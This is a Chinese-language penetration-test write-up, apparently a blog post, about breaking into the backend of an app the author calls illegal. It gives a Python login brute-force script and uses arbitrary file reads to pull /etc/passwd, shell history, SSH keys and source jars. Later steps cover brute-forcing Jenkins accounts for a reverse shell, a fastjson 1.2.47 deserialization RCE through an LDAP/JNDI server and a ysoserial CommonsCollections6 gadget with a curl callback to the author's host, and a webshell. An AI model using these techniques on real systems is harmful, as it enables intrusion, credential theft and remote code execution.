0x1
接到任务一个非法的app渗透,以前没测过app,学了app反编译3件套后开搞。
目前我这个水平测app只有两点:
-
反编译后看看app有没有一些接口,硬编码到app的用户,密码之类的,前提是app没有被混淆
-
直接上burp,打开夜神模拟器,装上app,注册,抓包找一些有问题的接口,前提是数据包没有被加密
然而,这两个全tm没有那个前提,反编译后被混淆,看不到源码,抓包,数据包全部加密
请求个验证码都tm要解密才能看,只有个手机app的web网址https://xxx.api.xx.xxx.com
0x2
App那边搞了一阵子,真的是一点突破的地方都没有,只能从web方面入手了
首先是app的api接口
很熟悉,是springboot,而且springboot有爆出rce漏洞的, springboot提供了一些监控的接口actuator,但是这个只有actuator/health和actuator/up开启了,没有什么用,rce也不存在。端口也只是开了这一个80,这个页面没戏
0x3
子域名搞起
微步,fofa,zoomeye,shodan,subDomainsBrute,OneForAll全部上,尽最大可能收集信息。
最终找到了如下子域名,目测是测试环境(有戏)
测试环境后台:http://admin.test.com
测试环境api:http://xxx.test.com
生产环境后台:http://xxx.xxx.com
后台登录没戏,登录出错只会提示错误,验证码每次刷新返回的是二进制图片,也不能写脚本爆破,试了几个用户密码不行就先放弃了
先从测试环境后台:http:// admin.test.com 入手,这个和生产环境的后台还不一样(后面有说明),因为是java而且为springboot,扫目录就直接放弃了效果肯定不会大的,抓下登陆包
验证码的请求报文/login/captch,返回如下
发现每次登陆后请求刷新的验证码返回不是一个图片,而是包含在一个返回json字符串中,这样就可以写脚本爆破了
Py脚本安排一下,密码是两次md5加密,所以脚本里对密码md5 2次
import requests
import ssl
import json
import hashlib
from urllib3 import disable_warnings
ssl._create_default_https_context = ssl._create_unverified_context
disable_warnings()
headers = {
'User-Agent': 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko)',
'Content-Type': 'application/json;charset=UTF-8'
}
def md5Encode(_str_encode):
_str_encode = _str_encode.encode(encoding='utf-8')
m = hashlib.md5()
m.update(_str_encode)
return m.hexdigest()
session = requests.Session()
f = open("常用用户名.txt","r",encoding='utf-8')
for i in f.readlines():
username = i.strip()
#获取验证码 res=session.get("https://xxx.xxx/login/captcha",headers=headers,verify=False).json()
if res['success']:
cap_data = res['data']
data = {"userName":username,"password":"14e1b600b1fd579f47433b88e8d85291"}
data.update(cap_data)
#login
res2 = session.post("http://xxx.xx.com/login", json=data, headers=headers, verify=False).json()
if res2['message'] == '用户不存在!':
pass
else:
print(username,res2)
最后找到一个用户和密码(弱口令永远都会存在)
Xxxx xxxx :>
0x4
进入后台可以干的事情就多了,首先找到一个上传,有后缀名限制,而且返回的路径是/nfs/xxxx/1.jgp
,熟悉linux的都知道,这是个nfs文件系统,一般在另一台文件服务器上,就是上传绕过,也解析不了,况且springboot不做特殊配置解析不了jsp,放弃
突破点:任意文件读取
原本是读取nfs文件存储的图片,url类似如下
/read?path=/nsf/2019/1.jpg
这一看有问题,直接测试/read?path=/etc/passwd
,读取到了密码文件
0x5
围绕文件读取可以干很多事情,尤其是linux,想了解的可以看下
http://wp.blkstone.me/2018/06/abusing-arbitrary-file-read/
首先收集信息,尤其是历史命令/root/.bash_history
/etc/os-release
/etc/hosts
/root/.bash_history
在历史命令中记录了很多东西,但是不好定位执行命令的目录,导致很多文件我下载不到(搞不清在哪个目录),类似如下:
但是当我读取/etc/profile
全局变量文件后发现了运维人员为了方便记录谁执行命令设置了一个小tips,配置了一个log来记录谁干了什么
读取xxx.log
,高级版的命令记录,包括连接的shh客户端地址,当前目录,执行的命令,这样就方便很多
然后通过历史命令和读取其他文件获得如下的信息:
-
Jar包运行的目录,但是具体哪个jar包不知道,因为启动jar通过sh脚本来执行,我看了下sh脚本,它竟然是遍历当前目录下的
*.jar
,找到就执行,这样就很尴尬,我不知道文件名字,读不到源码了 -
连接信息,ssh客户端地址等,发现服务器没有外网地址,通过/var/log/history.log 记录的ssh客户端地址找到了两个连接进来的外网ip,分别是:
xx.xx.xx.136
、xx.xx.xx.254
(很重要,开始没意识到,后来成了新的突破口) -
/root/.ssh/
下的公钥和私钥(没什么卵用) -
/etc/passwd
中除了root外,几个运维人员的账号(很有用)
0x6
读取源码
因为上面通过历史命令还是没有找到源码的文件名字,这次可以通过进程pid来尝试找下路径
/proc/sched_debug
# 提供cpu上正在运行的进程信息,可以获得进程的pid号
/proc/[PID]/cmdline
#获取路径信息
找到java进程的pid,一个一个的试们终于找到了两个jar包绝对路径,并读取下来(py脚本访问,二进制打开新文件,写入本地)
一个是提供api的jar包(测试api),另一个是管理后端的jar包(测试后台)
0x7
通过源码,发现出现任意文件下载漏洞的包是一个lib目录下的包,关键这个包是common基础包,api和后端管理很可能都引用了,那就是说不管是api接口和后端很可能都有这个漏洞
跑到最开始生产环境的app的api接口url试了一下,bingo
但是生产环境的后台没有这个漏洞,说明用的不是一套,这就麻烦了,我们的目标是生产环境的后台啊,
只能先找到yml文件,这个是spingboot的配置文件,有连接数据库的用户密码,先收集一下集中爆破有用,可惜全部加密
最后查了半天,在源码里面找到读取数据库连接密码的地方,发现了通过一个comm-tools.jar
定义的方法来解密,遂copy出来,在本地使用,idea创建maven项目,各种依赖报错,各种添加pom.xml
文件,最终还是搞定了,解出测试环境数据库用户和密码。
同上,生产环境的app接口源码下载下来,老规矩,审计水平有限,没找出什么漏洞,解出生产环境的数据库账号密码,可惜都是内网,进不去啊,这时候就需要一个能进入内网的突破口
0x8
在憋了一天,各种找信息,翻源码后没有任何突破,终于快要在我放弃的时候,/root/.ssh/ authorized_keys
文件的内容引起了我的注意,无论是生产环境还是测试环境都是一个主机连接进来,只有免密钥连进来才会在authorized_keys
有记录,这个主机配置了免密钥可以直接登录,那么如果我拿到这台机器的权限,不就可以内网漫游了吗,但是只有个host名,不知道ip地址这怎么搞
这时,我突然想起了那两个外来连接的ssh客户端ip,只有这两个连接进来了,可能只是个vpn的出口地址,上面没有任何服务,但也可能跑了web服务,这样就有机会getsehll,不管怎么肯定要试试,xx.xx.xx.136
xx.xx.xx.254
果不其然其中一个只是个vpn出口,但是,重点来了!!!!
在另一个上扫完端口后,看我发现了什么!!!
嘿嘿,怪不得能免密钥登录生产服务器,持续化集成,他们运维的水平还可以,都自动化了
把上面收集的运维人员账号往这里爆破下,
弱口令果然是最好使得漏洞,又是xxx,这运维人员的技术可以,但是安全意识真的太差了!!
0x9
一波又起。
使用爆破搞到了几个运维的账号密码,找到一个权限高的用户,使用系统自带的脚本执行反弹shell
但是权限为jenkins, 1月份爆的几个绕过沙箱的rce被修复了,但是确实可以ssh登录内网的机器,正当我暗暗窃喜的时候,连接突然断了,然后jenkins打不开了。。。。不知道是被发现了还是怎么的,到现在都没在外网开放,访问502.。。
0x10
通过jenkins搞内网是不行了,思路又断了,不过幸亏留了一手,登录jenkins后,我第一时间下载了生产环境编译后后台的源码war包,现在只能代码审计了,可惜自己java又菜,没办法只能硬着头皮看代码(真的是边查资料边看代码)
项目是springMCV,测试和生产不是一套代码
搞了几天后的审计结果:
- 代码逻辑导致部分shiro验证接口可以绕过(不需要登录就可以访问一些接口)不过单独没什么用
所有的请求都会经过这个拦截器,主要判断登没登陆,没登陆返回false,就终止后续的请求了,图中第一个箭头处是出现漏洞的地方,没登陆的情况下第一次访问需要授权的接口,没问题,正常返回权限不足,但是如果在访问一次的话,if (sysUser == null && noSession == null)
这个条件就不满足了,noSession
被赋值为true,直接到else,这个else下的if也不满足。直接到最后一个箭头处返回true,连续访问两次这就可以访问部分接口,为什么是部分,因为有些接口调用前判断了session里面的sysuser
,这样就绕不过了
2.任意文件读取,需要配和第一个漏洞使用(不过只能读下系统的内容,并不能getshell)
漏洞部分可以看到path没有什么过滤,跟进exportFile
可以看到path_就是要读取的文件,项目根目录+可控path,只要加上../../../../
就可以读取任意文件
3.重头戏,在一些接口接受参数的时候,用了fastjson的pareObject
,查了一下lib库,发现fastjson版本1.2.47,这个jar包存在一个反序列化的rce。
果断测试1+3漏洞,踩了好多坑,网上通用的直接发送自定义恶意payload的方式这里不能使用,因为对方jdk版本高,限制了从外部ldap加载自定义恶意数据的请求,具体想了解的可以自行查看
https://paper.seebug.org/942/#1-rmi-remote-object-payload
上文中有用突破的方法:原文如下
javaCodebase 属性可以指定远程的URL,这样黑客可以控制反序列化中的class,通过JNDI Reference
的方式进行利用(这里不再赘述,示例代码可以参考文末的Demo链接)。
不过像前文所说的,高版本JVM对Reference Factory
远程加载类进行了安全限制,JVM不会信任LDAP对象反序列化过程中加载的远程类。此时,攻击者仍然可以利用受害者本地CLASSPATH
中存在漏洞的反序列化Gadget达到绕过限制执行命令的目的。
不过前提是项目依赖jar包中存在反序列化Gadget(Gadget是已经爆出存在反序列化的漏洞组件)
自定义的不行,利用的条件就被限制了很多,不过最终在项目的依赖库最终找到了这个cc链,完美!
最后通过如下:
自己的vps开启LDAP + JNDI Reference Payload
服务,用LDAP返回通过ysoserial.jar
生成CommonsCollections6
恶意反序列代码,payload为
curl http://xxxx.xxx.com/beand.jsp
用来测试下漏洞存不存在,代码上面文章中有,改下payload,自己打成jar包运行即可
找到存在漏洞的接口,利用1漏洞绕过接口限制,发送payload,配合3漏洞+ cc链最终绕过高版本jdk限制,成功rce!!!!!
web服务器收到请求!
接下来就是写webshell
配合1+2文件读取,找到server.xml
读取到项目配置的目录,有绝对路径就可以写shell了,到此,就告一段落了。